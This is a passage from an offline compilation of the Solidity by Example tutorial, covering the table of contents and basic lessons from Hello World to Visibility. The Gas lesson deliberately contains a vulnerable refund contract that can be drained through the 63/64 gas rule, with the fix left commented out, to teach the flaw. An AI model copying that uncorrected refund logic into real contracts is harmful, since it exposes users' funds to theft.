Solidity by Example

Complete Reference

129 Lessons · 7 Categories · Full Source Code

Basics · Applications · Hacks · EVM · Tests · Foundry · DeFi

solidity-by-example.org | Compiled for offline study

2025

Solidity by Example

Complete Reference — 129 Lessons Across 7 Categories

> ***How to read this book:*** *Each lesson shows a title, one-line concept, the full Solidity source, and (for complex topics) bullet-point explanations. Simple lessons are intentionally short.*

Table of Contents

Chapter 1 — Solidity Basics

Hello World
First Application
Primitive Data Types
Variables
Reading and Writing to a State Variable
Constants
Immutable
Ether and Wei
Gas
If / Else
For and While Loop
Mapping
Array
Enum
Structs
Data Locations - Storage, Memory and Calldata
Function
View and Pure Functions
Function Modifier
Events
Events Advanced
Error
Constructor
Inheritance
Visibility
Interface
Payable
Sending Ether (transfer, send, call)
Fallback
Call
Delegatecall
Calling Other Contract
Contract that Creates other Contracts
Import
Library
Hashing with Keccak256
Function Selector
Transient Storage
Assembly Variable
Assembly Conditional Statements
Assembly Loop
Assembly Math
Assembly Error
ABI Encode
ABI Decode
Shadowing Inherited State Variables
Calling Parent Contracts
Try Catch

Unchecked Math
User Defined Value Types
Bitwise Operators
Gas Saving Techniques

Chapter 2 — Applications

Ether Wallet
ERC20
ERC721
ERC1155
Merkle Tree
Iterable Mapping
Multi-Sig Wallet
English Auction
Dutch Auction
Crowd Fund
Precompute Contract Address with Create2
Minimal Proxy Contract
Upgradeable Proxy
Deploy Any Contract
Multi Call
Multi Delegatecall
Time Lock
Uni-Directional Payment Channel
Bi-Directional Payment Channel
Gasless Token Transfer
Merkle Airdrop
Simple Bytecode Contract
Write to Any Slot
Assembly Binary Exponentiation

Chapter 3 — Hacks & Vulnerabilities

Re-Entrancy
Arithmetic Overflow and Underflow
Self Destruct
Accessing Private Data
Delegatecall
Denial of Service
Phishing with tx.origin
Hiding Malicious Code with External Contract
Honeypot
Front Running
Block Timestamp Manipulation
Source of Randomness
Signature Replay
Bypass Contract Size Check
Deploy Different Contracts at the Same Address
Vault Inflation
WETH Permit
63 / 64 Gas Rule

Chapter 4 — EVM Internals

EVM Storage
EVM Memory Layout in Solidity

Chapter 5 — Testing

Echidna

Chapter 6 — Foundry

Foundry Basic
Foundry Authorization
Foundry Error
Foundry Event
Foundry Send
Foundry Time
Foundry Sign
Foundry Label
Foundry Mock Call
Foundry vm.store

Chapter 7 — DeFi Protocols

Vault
Staking Rewards
Discrete Staking Rewards
Token Lock
Constant Product AMM
Constant Sum AMM
Stable Swap AMM
Uniswap V2 Swap
Uniswap V2 Add Remove Liquidity
Uniswap V2 Flash Swap
Uniswap V2 Optimal One Sided Supply
Uniswap V3 Swap Examples
Uniswap V3 Liquidity Examples
Uniswap V3 Flash Loan
Uniswap V3 Flash Swap Arbitrage
Chainlink Price Oracle
Chronicle Price Oracle
DAI Proxy Examples
Uniswap V4 Swap
Uniswap V4 Flash Loan
Uniswap V4 Limit Order

Chapter 1 — Solidity Basics

1.1 Hello World

Hello world in Solidity

`pragma` specifies the compiler version of Solidity.

```
// SPDX-License-Identifier: MIT
// compiler version must be greater than or equal to 0.8.26 and less than 0.9.0
pragma solidity ^0.8.26;

contract HelloWorld {
    string public greet = "Hello World!";
}
```

1.2 First Application

Example of smart contract in Solidity

Here is a simple contract that you can get, increment and decrement the count stored in this contract.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Counter {
    uint256 public count;

    // Function to get the current count
    function get() public view returns (uint256) {
        return count;
    }

    // Function to increment count by 1
    function inc() public {
        count += 1;
    }

    // Function to decrement count by 1
    function dec() public {
        // This function will fail if count = 0
        count -= 1;
    }
}
```

1.3 Primitive Data Types

Primitive data types

Here we introduce you to some primitive data types available in Solidity.

- `boolean`
- `uint256`
- `int256`
- `address`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Primitives {
    bool public boo = true;

    /*
    uint stands for unsigned integer, meaning non negative integers
    different sizes are available
        uint8   ranges from 0 to 2 ** 8 - 1
        uint16  ranges from 0 to 2 ** 16 - 1
        ...
        uint256 ranges from 0 to 2 ** 256 - 1
    */
    uint8 public u8 = 1;
    uint256 public u256 = 456;
    uint256 public u = 123; // uint is an alias for uint256

    /*
    Negative numbers are allowed for int types.
    Like uint, different ranges are available from int8 to int256

    int256 ranges from -2 ** 255 to 2 ** 255 - 1
    int128 ranges from -2 ** 127 to 2 ** 127 - 1
    */
    int8 public i8 = -1;
    int256 public i256 = 456;
    int256 public i = -123; // int is same as int256

    // minimum and maximum of int
    int256 public minInt = type(int256).min;
    int256 public maxInt = type(int256).max;

    address public addr = 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c;

    /*
    In Solidity, the data type byte represent a sequence of bytes.
    Solidity presents two types of bytes :

     - fixed-sized byte arrays
     - dynamically-sized byte arrays.

     The term bytes in Solidity represents a dynamic array of bytes.
     It’s a shorthand for byte[] .
    */
    bytes1 a = 0xb5; //  [10110101]
    bytes1 b = 0x56; //  [01010110]
```

```
    // Default values
    // Unassigned variables have a default value
    bool public defaultBoo; // false
    uint256 public defaultUint; // 0
    int256 public defaultInt; // 0
    address public defaultAddr; // 0x0000000000000000000000000000000000000000
}
```

1.4 Variables

Local, state and global variables

There are 3 types of variables in Solidity

- **local**

- declared inside a function - not stored on the blockchain

- **state**

- declared outside a function - stored on the blockchain

- **global** (provides information about the blockchain)

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Variables {
    // State variables are stored on the blockchain.
    string public text = "Hello";
    uint256 public num = 123;

    function doSomething() public view {
        // Local variables are not saved to the blockchain.
        uint256 i = 456;

        // Here are some global variables
        uint256 timestamp = block.timestamp; // Current block timestamp
        address sender = msg.sender; // address of the caller
    }
}
```

1.5 Reading and Writing to a State Variable

Reading and Writing to a State Variable

To write or update a state variable you need to send a transaction.

On the other hand, you can read state variables, for free, without any transaction fee.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract SimpleStorage {
    // State variable to store a number
    uint256 public num;

    // You need to send a transaction to write to a state variable.
    function set(uint256 _num) public {
        num = _num;
    }

    // You can read from a state variable without sending a transaction.
    function get() public view returns (uint256) {
        return num;
    }
}
```

1.6 Constants

Constant variables

Constants are variables that cannot be modified.

Their value is hard coded and using constants can save gas cost.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Constants {
    // coding convention to uppercase constant variables
    address public constant MY_ADDRESS =
        0x777788889999AaAAbBbbCcccddDdeeeEfFFfCcCc;
    uint256 public constant MY_UINT = 123;
}
```

1.7 Immutable

Immutable variables

Immutable variables are like constants. Values of immutable variables can be set inside the constructor but cannot be modified afterwards.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Immutable {
    address public immutable myAddr;
    uint256 public immutable myUint;

    constructor(uint256 _myUint) {
        myAddr = msg.sender;
        myUint = _myUint;
    }
}
```

1.8 Ether and Wei

An example of Ether and Wei in Solidity

Transactions are paid with `ether`.

Similar to how one dollar is equal to 100 cents, one `ether` is equal to 10^{18} `wei`.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract EtherUnits {
    uint256 public oneWei = 1 wei;
    // 1 wei is equal to 1
    bool public isOneWei = (oneWei == 1);

    uint256 public oneGwei = 1 gwei;
    // 1 gwei is equal to 10^9 wei
    bool public isOneGwei = (oneGwei == 1e9);

    uint256 public oneEther = 1 ether;
    // 1 ether is equal to 10^18 wei
    bool public isOneEther = (oneEther == 1e18);
}
```

1.9 Gas

Example of gas and gas limit in Solidity

How much `ether` do you need to pay for a transaction?

You pay `gas spent * gas price` amount of `ether`, where

- `gas` is a unit of computation
- `gas spent` is the total amount of `gas` used in a transaction
- `gas price` is how much `ether` you are willing to pay per `gas`

Transactions with higher gas price have higher priority to be included in a block.

Unspent gas will be refunded.

Gas Limit

There are 2 upper bounds to the amount of gas you can spend

- `gas limit` (max amount of gas you're willing to use for your transaction, set by you)
- `block gas limit` (max amount of gas allowed in a block, set by the network)

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract A {
    function f(address b) external {
        uint256 gasStart = gasleft();
        B(payable(b)).g(msg.sender, gasStart);
    }
}

contract B {
    event Log(uint256 gas);

    mapping(address => bool) public authorized;

    constructor() {
        authorized[msg.sender] = true;
    }

    receive() external payable {}

    function setAuth(address addr, bool auth) external {
        require(authorized[msg.sender], "not authorized");
        authorized[addr] = auth;
    }

    // Send 9000000000000000000 gas to drain ETH
    function g(address receiver, uint256 gasStart) external {
        require(authorized[msg.sender], "not authorized");

        uint256 gasNow = gasleft();
        uint256 gasUsed = gasStart - gasNow;
        // Fix
```

```
        //uint256 gasUsed = gasStart - (gasNow / 63) - gasNow;
        (bool ok,) = receiver.call{value: gasUsed}("");
        require(ok, "send failed");

        emit Log(gasUsed);
    }
}

/*
# 63 / 64 gas rule
External calls receive max 63 / 64 of gas left in current contract
1 / 64 gas is kept in the current contract

g0 = call to gasleft() somewhere in A
g1 = call to gasleft() somewhere in B
g* = Actual gas left immediately before call to B

  g*    63/64 g*
A |---->| B
|         |
g0        g1

# Gas used
dg = gas used between g0 and g1
   = g0 - g* + 63/64 g* - g1
   = g0 - g1 - 1/64 g* >= 0

# Problem
- Refund of g0 - g1 over pays by 1/64 g*
- g* can be large by sending large amount of gas

# Fix
g1 <= 63/64 g* <= g0
g1/63 <= 1/64 g* <= g0/63
g0 - g1 - g1/63 >= g0 - g1 - 1/64 g* >= g0 - g1 - 1/63 g0 = 62/63 g0 - g1
                                      >= 0

Refund g0 - g1 - g1/63
*/
```

1.10 If / Else

If / Else conditional statement in Solidity

Solidity supports conditional statements `if`, `else if` and `else`.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract IfElse {
    function foo(uint256 x) public pure returns (uint256) {
        if (x < 10) {
            return 0;
        } else if (x < 20) {
            return 1;
        } else {
            return 2;
        }
    }

    function ternary(uint256 _x) public pure returns (uint256) {
        // if (_x < 10) {
        //     return 1;
        // }
        // return 2;

        // shorthand way to write if / else statement
        // the "?" operator is called the ternary operator
        return _x < 10 ? 1 : 2;
    }
}
```

1.11 For and While Loop

Example of for and while loop in Solidity

Solidity supports `for`, `while`, and `do while` loops.

Don't write loops that are unbounded as this can hit the gas limit, causing your transaction to fail.

For the reason above, `while` and `do while` loops are rarely used.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Loop {
    function loop() public pure {
        // for loop
        for (uint256 i = 0; i < 10; i++) {
            if (i == 3) {
                // Skip to next iteration with continue
                continue;
            }
            if (i == 5) {
                // Exit loop with break
                break;
            }
        }

        // while loop
        uint256 j;
        while (j < 10) {
            j++;
        }
    }
}
```

1.12 Mapping

Example of using mapping in Solidity

Maps are created with the syntax `mapping(keyType => valueType)`.

The `keyType` can be any built-in value type, bytes, string, or any contract.

`valueType` can be any type including another mapping or an array.

Mappings are not iterable.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Mapping {
    // Mapping from address to uint
    mapping(address => uint256) public myMap;

    function get(address _addr) public view returns (uint256) {
        // Mapping always returns a value.
        // If the value was never set, it will return the default value.
        return myMap[_addr];
    }

    function set(address _addr, uint256 _i) public {
        // Update the value at this address
        myMap[_addr] = _i;
    }

    function remove(address _addr) public {
        // Reset the value to the default value.
        delete myMap[_addr];
    }
}

contract NestedMapping {
    // Nested mapping (mapping from address to another mapping)
    mapping(address => mapping(uint256 => bool)) public nested;

    function get(address _addr1, uint256 _i) public view returns (bool) {
        // You can get values from a nested mapping
        // even when it is not initialized
        return nested[_addr1][_i];
    }

    function set(address _addr1, uint256 _i, bool _boo) public {
        nested[_addr1][_i] = _boo;
    }

    function remove(address _addr1, uint256 _i) public {
        delete nested[_addr1][_i];
    }
}
```

1.13 Array

Learn about arrays in Solidity

An array can have a compile-time fixed size or a dynamic size.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Array {
    // Several ways to initialize an array
    uint256[] public arr;
    uint256[] public arr2 = [1, 2, 3];
    // Fixed sized array, all elements initialize to 0
    uint256[10] public myFixedSizeArr;

    function get(uint256 i) public view returns (uint256) {
        return arr[i];
    }

    // Solidity can return the entire array.
    // But this function should be avoided for
    // arrays that can grow indefinitely in length.
    function getArr() public view returns (uint256[] memory) {
        return arr;
    }

    function push(uint256 i) public {
        // Append to array
        // This will increase the array length by 1.
        arr.push(i);
    }

    function pop() public {
        // Remove last element from array
        // This will decrease the array length by 1
        arr.pop();
    }

    function getLength() public view returns (uint256) {
        return arr.length;
    }

    function remove(uint256 index) public {
        // Delete does not change the array length.
        // It resets the value at index to it's default value,
        // in this case 0
        delete arr[index];
    }

    function examples() external pure {
        // create array in memory, only fixed size can be created
        uint256[] memory a = new uint256[](5);

        // create a nested array in memory
        // b = [[1, 2, 3], [4, 5, 6]]
        uint256[][] memory b = new uint256[][](2);
        for (uint256 i = 0; i < b.length; i++) {
            b[i] = new uint256[](3);
        }
```

```
        b[0][0] = 1;
        b[0][1] = 2;
        b[0][2] = 3;
        b[1][0] = 4;
        b[1][1] = 5;
        b[1][2] = 6;
    }
}
```

Examples of removing an array element

Remove an array element by shifting elements from right to left

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract ArrayRemoveByShifting {
    // [1, 2, 3] -- remove(1) --> [1, 3, 3] --> [1, 3]
    // [1, 2, 3, 4, 5, 6] -- remove(2) --> [1, 2, 4, 5, 6, 6] --> [1, 2, 4, 5, 6]
    // [1, 2, 3, 4, 5, 6] -- remove(0) --> [2, 3, 4, 5, 6, 6] --> [2, 3, 4, 5, 6]
    // [1] -- remove(0) --> [1] --> []

    uint256[] public arr;

    function remove(uint256 _index) public {
        require(_index < arr.length, "index out of bounds");

        for (uint256 i = _index; i < arr.length - 1; i++) {
            arr[i] = arr[i + 1];
        }
        arr.pop();
    }

    function test() external {
        arr = [1, 2, 3, 4, 5];
        remove(2);
        // [1, 2, 4, 5]
        assert(arr[0] == 1);
        assert(arr[1] == 2);
        assert(arr[2] == 4);
        assert(arr[3] == 5);
        assert(arr.length == 4);

        arr = [1];
        remove(0);
        // []
        assert(arr.length == 0);
    }
}
```

Remove an array element by copying last element into to the place to remove

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract ArrayReplaceFromEnd {
    uint256[] public arr;
```

```
    // Deleting an element creates a gap in the array.
    // One trick to keep the array compact is to
    // move the last element into the place to delete.
    function remove(uint256 index) public {
        // Move the last element into the place to delete
        arr[index] = arr[arr.length - 1];
        // Remove the last element
        arr.pop();
    }

    function test() public {
        arr = [1, 2, 3, 4];

        remove(1);
        // [1, 4, 3]
        assert(arr.length == 3);
        assert(arr[0] == 1);
        assert(arr[1] == 4);
        assert(arr[2] == 3);

        remove(2);
        // [1, 4]
        assert(arr.length == 2);
        assert(arr[0] == 1);
        assert(arr[1] == 4);
    }
}
```

1.14 Enum

Example of enums in Solidity

Solidity supports enums and they are useful to model choice and keep track of state.

Enums can be declared outside of a contract.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Enum {
    // Enum representing shipping status
    enum Status {
        Pending,
        Shipped,
        Accepted,
        Rejected,
        Canceled
    }

    // Default value is the first element listed in
    // definition of the type, in this case "Pending"
    Status public status;

    // Returns uint
    // Pending  - 0
    // Shipped  - 1
    // Accepted - 2
    // Rejected - 3
    // Canceled - 4
    function get() public view returns (Status) {
        return status;
    }

    // Update status by passing uint into input
    function set(Status _status) public {
        status = _status;
    }

    // You can update to a specific enum like this
    function cancel() public {
        status = Status.Canceled;
    }

    // delete resets the enum to its first value, 0
    function reset() public {
        delete status;
    }
}
```

Declaring and importing Enum

File that the enum is declared in

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
```

```
// This is saved 'EnumDeclaration.sol'

enum Status {
    Pending,
    Shipped,
    Accepted,
    Rejected,
    Canceled
}
```

File that imports the enum above

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "./EnumDeclaration.sol";

contract Enum {
    Status public status;
}
```

1.15 Structs

An example of how to use structs in Solidity

You can define your own type by creating a `struct`.

They are useful for grouping together related data.

Structs can be declared outside of a contract and imported in another contract.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Todos {
    struct Todo {
        string text;
        bool completed;
    }

    // An array of 'Todo' structs
    Todo[] public todos;

    function create(string calldata _text) public {
        // 3 ways to initialize a struct
        // - calling it like a function
        todos.push(Todo(_text, false));

        // key value mapping
        todos.push(Todo({text: _text, completed: false}));

        // initialize an empty struct and then update it
        Todo memory todo;
        todo.text = _text;
        // todo.completed initialized to false

        todos.push(todo);
    }

    // Solidity automatically creates a getter for 'todos' so
    // you don't actually need this function.
    function get(uint256 _index)
        public
        view
        returns (string memory text, bool completed)
    {
        Todo storage todo = todos[_index];
        return (todo.text, todo.completed);
    }

    // update text
    function updateText(uint256 _index, string calldata _text) public {
        Todo storage todo = todos[_index];
        todo.text = _text;
    }

    // update completed
    function toggleCompleted(uint256 _index) public {
        Todo storage todo = todos[_index];
        todo.completed = !todo.completed;
```

```
    }
}
```

Declaring and importing Struct

File that the struct is declared in

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
// This is saved 'StructDeclaration.sol'

struct Todo {
    string text;
    bool completed;
}
```

File that imports the struct above

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "./StructDeclaration.sol";

contract Todos {
    // An array of 'Todo' structs
    Todo[] public todos;
}
```

1.16 Data Locations - Storage, Memory and Calldata

Data locations - storage, memory and calldata

Variables are declared as either `storage`, `memory` or `calldata` to explicitly specify the location of the data.

- `storage` - variable is a state variable (stored on the blockchain)
- `memory` - variable is in memory and it exists while a function is being called
- `calldata` - special data location that contains function arguments

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract DataLocations {
    uint256[] public arr;
    mapping(uint256 => address) map;

    struct MyStruct {
        uint256 foo;
    }

    mapping(uint256 => MyStruct) myStructs;

    function f() public {
        // call _f with state variables
        _f(arr, map, myStructs[1]);

        // get a struct from a mapping
        MyStruct storage myStruct = myStructs[1];
        // create a struct in memory
        MyStruct memory myMemStruct = MyStruct(0);
    }

    function _f(
        uint256[] storage _arr,
        mapping(uint256 => address) storage _map,
        MyStruct storage _myStruct
    ) internal {
        // do something with storage variables
    }

    // You can return memory variables
    function g(uint256[] memory _arr) public returns (uint256[] memory) {
        // do something with memory array
    }

    function h(uint256[] calldata _arr) external {
        // do something with calldata array
    }
}
```

1.17 Function

Example of how to write functions in Solidity

There are several ways to return outputs from a function.

Public functions cannot accept certain data types as inputs or outputs

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Function {
    // Functions can return multiple values.
    function returnMany() public pure returns (uint256, bool, uint256) {
        return (1, true, 2);
    }

    // Return values can be named.
    function named() public pure returns (uint256 x, bool b, uint256 y) {
        return (1, true, 2);
    }

    // Return values can be assigned to their name.
    // In this case the return statement can be omitted.
    function assigned() public pure returns (uint256 x, bool b, uint256 y) {
        x = 1;
        b = true;
        y = 2;
    }

    // Use destructuring assignment when calling another
    // function that returns multiple values.
    function destructuringAssignments()
        public
        pure
        returns (uint256, bool, uint256, uint256, uint256)
    {
        (uint256 i, bool b, uint256 j) = returnMany();

        // Values can be left out.
        (uint256 x,, uint256 y) = (4, 5, 6);

        return (i, b, j, x, y);
    }

    // Cannot use map for either input or output

    // Can use array for input
    function arrayInput(uint256[] memory _arr) public {}

    // Can use array for output
    uint256[] public arr;

    function arrayOutput() public view returns (uint256[] memory) {
        return arr;
    }
}

// Call function with key-value inputs
contract XYZ {
```

```
    function someFuncWithManyInputs(
        uint256 x,
        uint256 y,
        uint256 z,
        address a,
        bool b,
        string memory c
    ) public pure returns (uint256) {}

    function callFunc() external pure returns (uint256) {
        return someFuncWithManyInputs(1, 2, 3, address(0), true, "c");
    }

    function callFuncWithKeyValue() external pure returns (uint256) {
        return someFuncWithManyInputs({
            a: address(0),
            b: true,
            c: "c",
            x: 1,
            y: 2,
            z: 3
        });
    }
}
```

1.18 View and Pure Functions

An example of view and pure functions in Solidity

Getter functions can be declared `view` or `pure`.

`View` function declares that no state will be changed.

`Pure` function declares that no state variable will be changed or read.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract ViewAndPure {
    uint256 public x = 1;

    // Promise not to modify the state.
    function addToX(uint256 y) public view returns (uint256) {
        return x + y;
    }

    // Promise not to modify or read from the state.
    function add(uint256 i, uint256 j) public pure returns (uint256) {
        return i + j;
    }
}
```

1.19 Function Modifier

Example of how to write function modifier in Solidity

Modifiers are code that can be run before and / or after a function call.

Modifiers can be used to:

- Restrict access
- Validate inputs
- Guard against reentrancy hack

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract FunctionModifier {
    // We will use these variables to demonstrate how to use
    // modifiers.
    address public owner;
    uint256 public x = 10;
    bool public locked;

    constructor() {
        // Set the transaction sender as the owner of the contract.
        owner = msg.sender;
    }

    // Modifier to check that the caller is the owner of
    // the contract.
    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        // Underscore is a special character only used inside
        // a function modifier and it tells Solidity to
        // execute the rest of the code.
        _;
    }

    // Modifiers can take inputs. This modifier checks that the
    // address passed in is not the zero address.
    modifier validAddress(address _addr) {
        require(_addr != address(0), "Not valid address");
        _;
    }

    function changeOwner(address _newOwner)
        public
        onlyOwner
        validAddress(_newOwner)
    {
        owner = _newOwner;
    }

    // Modifiers can be called before and / or after a function.
    // This modifier prevents a function from being called while
    // it is still executing.
    modifier noReentrancy() {
        require(!locked, "No reentrancy");

        locked = true;
```

```
        _;
        locked = false;
    }

    function decrement(uint256 i) public noReentrancy {
        x -= i;

        if (i > 1) {
            decrement(i - 1);
        }
    }
}
```

1.20 Events

Example of how to emit events in Solidity

`Events` allow logging to the Ethereum blockchain. Some use cases for events are:

- Listening for events and updating user interface
- A cheap form of storage

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Event {
    // Event declaration
    // Up to 3 parameters can be indexed.
    // Indexed parameters help you filter the logs by the indexed parameter
    event Log(address indexed sender, string message);
    event AnotherLog();

    function test() public {
        emit Log(msg.sender, "Hello World!");
        emit Log(msg.sender, "Hello EVM!");
        emit AnotherLog();
    }
}
```

1.21 Events Advanced

Advanced topics and concepts related to Solidity events

This page covers advanced topics and use cases related to events in Solidity, building upon the basics covered in the Events page.

`Events` in Solidity are a powerful tool that enables various advanced functionalities and architectures. Some advanced use cases for events include:

- Event filtering and monitoring for real-time updates and analytics
- Event log analysis and decoding for data extraction and processing
- Event-driven architectures for decentralized applications (dApps)
- Event subscriptions for real-time notifications and updates

Event-Driven Architecture

The `EventDrivenArchitecture` contract demonstrates an event-driven architecture where events are used to coordinate and trigger different stages of a process, such as initiating and confirming transfers.

Event Subscription and Real-Time Updates

The `EventSubscription` contract showcases how to implement event subscriptions, allowing external contracts or clients to subscribe and receive real-time updates when events are emitted. It also demonstrates how to handle event subscriptions and manage the subscription lifecycle.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;

// Event-Driven Architecture
contract EventDrivenArchitecture {
    event TransferInitiated(
        address indexed from, address indexed to, uint256 value
    );
    event TransferConfirmed(
        address indexed from, address indexed to, uint256 value
    );

    mapping(bytes32 => bool) public transferConfirmations;

    function initiateTransfer(address to, uint256 value) public {
        emit TransferInitiated(msg.sender, to, value);
        // ... (initiate transfer logic)
    }

    function confirmTransfer(bytes32 transferId) public {
        require(
            !transferConfirmations[transferId], "Transfer already confirmed"
        );
        transferConfirmations[transferId] = true;
        emit TransferConfirmed(msg.sender, address(this), 0);
        // ... (confirm transfer logic)
    }
}

// Event Subscription and Real-Time Updates
interface IEventSubscriber {
    function handleTransferEvent(address from, address to, uint256 value)
        external;
}

contract EventSubscription {
    event LogTransfer(address indexed from, address indexed to, uint256 value);

    mapping(address => bool) public subscribers;
    address[] public subscriberList;

    function subscribe() public {
        require(!subscribers[msg.sender], "Already subscribed");
        subscribers[msg.sender] = true;
        subscriberList.push(msg.sender);
    }

    function unsubscribe() public {
        require(subscribers[msg.sender], "Not subscribed");
        subscribers[msg.sender] = false;
        for (uint256 i = 0; i < subscriberList.length; i++) {
            if (subscriberList[i] == msg.sender) {
```

```
                subscriberList[i] = subscriberList[subscriberList.length - 1];
                subscriberList.pop();
                break;
            }
        }
    }

    function transfer(address to, uint256 value) public {
        emit LogTransfer(msg.sender, to, value);
        for (uint256 i = 0; i < subscriberList.length; i++) {
            IEventSubscriber(subscriberList[i]).handleTransferEvent(
                msg.sender, to, value
            );
        }
    }
}
```

Best Practices and Recommendations

- Index the right event parameters to enable efficient filtering and searching. Addresses should typically be indexed, while amounts generally should not.
- Avoid redundant events by not emitting events that are already covered by underlying libraries or contracts.
- Events cannot be used in `view` or `pure` functions, as they alter the state of the blockchain by storing logs.
- Be mindful of the gas cost associated with emitting events, especially when indexing parameters, as it can impact the overall gas consumption of your contract.

1.22 Error

Example of how to throw errors in Solidity

An error will undo all changes made to the state during a transaction.

You can throw an error by calling `require`, `revert` or `assert`.

- `require` is used to validate inputs and conditions before execution.
- `revert` is similar to `require`. See the code below for details.
- `assert` is used to check for code that should never be false. Failing assertion probably means that there is a bug.

Use custom error to save gas.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Error {
    function testRequire(uint256 _i) public pure {
        // Require should be used to validate conditions such as:
        // - inputs
        // - conditions before execution
        // - return values from calls to other functions
        require(_i > 10, "Input must be greater than 10");
    }

    function testRevert(uint256 _i) public pure {
        // Revert is useful when the condition to check is complex.
        // This code does the exact same thing as the example above
        if (_i <= 10) {
            revert("Input must be greater than 10");
        }
    }

    uint256 public num;

    function testAssert() public view {
        // Assert should only be used to test for internal errors,
        // and to check invariants.

        // Here we assert that num is always equal to 0
        // since it is impossible to update the value of num
        assert(num == 0);
    }

    // custom error
    error InsufficientBalance(uint256 balance, uint256 withdrawAmount);

    function testCustomError(uint256 _withdrawAmount) public view {
        uint256 bal = address(this).balance;
        if (bal < _withdrawAmount) {
            revert InsufficientBalance({
                balance: bal,
                withdrawAmount: _withdrawAmount
            });
        }
    }
```

```
}
```

Here is another example

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Account {
    uint256 public balance;
    uint256 public constant MAX_UINT = 2 ** 256 - 1;

    function deposit(uint256 _amount) public {
        uint256 oldBalance = balance;
        uint256 newBalance = balance + _amount;

        // balance + _amount does not overflow if balance + _amount >= balance
        require(newBalance >= oldBalance, "Overflow");

        balance = newBalance;

        assert(balance >= oldBalance);
    }

    function withdraw(uint256 _amount) public {
        uint256 oldBalance = balance;

        // balance - _amount does not underflow if balance >= _amount
        require(balance >= _amount, "Underflow");

        if (balance < _amount) {
            revert("Underflow");
        }

        balance -= _amount;

        assert(balance <= oldBalance);
    }
}
```

1.23 Constructor

Learn how to initialize smart contracts in Solidity using a constructor

A `constructor` is an optional function that is executed upon contract creation.

Here are examples of how to pass arguments to `constructors`.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

// Base contract X
contract X {
    string public name;

    constructor(string memory _name) {
        name = _name;
    }
}

// Base contract Y
contract Y {
    string public text;

    constructor(string memory _text) {
        text = _text;
    }
}

// There are 2 ways to initialize parent contract with parameters.

// Pass the parameters here in the inheritance list.
contract B is X("Input to X"), Y("Input to Y") {}

contract C is X, Y {
    // Pass the parameters here in the constructor,
    // similar to function modifiers.
    constructor(string memory _name, string memory _text) X(_name) Y(_text) {}
}

// Parent constructors are always called in the order of inheritance
// regardless of the order of parent contracts listed in the
// constructor of the child contract.

// Order of constructors called:
// 1. X
// 2. Y
// 3. D
contract D is X, Y {
    constructor() X("X was called") Y("Y was called") {}
}

// Order of constructors called:
// 1. X
// 2. Y
// 3. E
contract E is X, Y {
    constructor() Y("Y was called") X("X was called") {}
}
```

1.24 Inheritance

Example of inheritance in Solidity

Solidity supports multiple inheritance. Contracts can inherit other contract by using the `is` keyword.

Function that is going to be overridden by a child contract must be declared as `virtual`.

Function that is going to override a parent function must use the keyword `override`.

Order of inheritance is important.

You have to list the parent contracts in the order from "most base-like" to "most derived".

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/* Graph of inheritance
    A
   / \
  B   C
 / \ /
F  D,E

*/

contract A {
    function foo() public pure virtual returns (string memory) {
        return "A";
    }
}

// Contracts inherit other contracts by using the keyword 'is'.
contract B is A {
    // Override A.foo()
    function foo() public pure virtual override returns (string memory) {
        return "B";
    }
}

contract C is A {
    // Override A.foo()
    function foo() public pure virtual override returns (string memory) {
        return "C";
    }
}

// Contracts can inherit from multiple parent contracts.
// When a function is called that is defined multiple times in
// different contracts, parent contracts are searched from
// right to left, and in a depth-first manner.

contract D is B, C {
    // D.foo() returns "C"
    // since C is the right most parent contract with function foo()
    function foo() public pure override(B, C) returns (string memory) {
        return super.foo();
    }
}
```

```
contract E is C, B {
    // E.foo() returns "B"
    // since B is the right most parent contract with function foo()
    function foo() public pure override(C, B) returns (string memory) {
        return super.foo();
    }
}

// Inheritance must be ordered from "most base-like" to "most derived".
// Swapping the order of A and B will throw a compilation error.
contract F is A, B {
    function foo() public pure override(A, B) returns (string memory) {
        return super.foo();
    }
}
```

1.25 Visibility

An example of external, internal, private and public functions in Solidity

Functions and state variables have to declare whether they are accessible by other contracts.

Functions can be declared as

- `public` - any contract and account can call
- `private` - only inside the contract that defines the function
- `internal`- only inside a contract that inherits an `internal` function
- `external` - only other contracts and accounts can call

State variables can be declared as `public`, `private`, or `internal` but not `external`.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Base {
    // Private function can only be called
    // - inside this contract
    // Contracts that inherit this contract cannot call this function.
    function privateFunc() private pure returns (string memory) {
        return "private function called";
    }

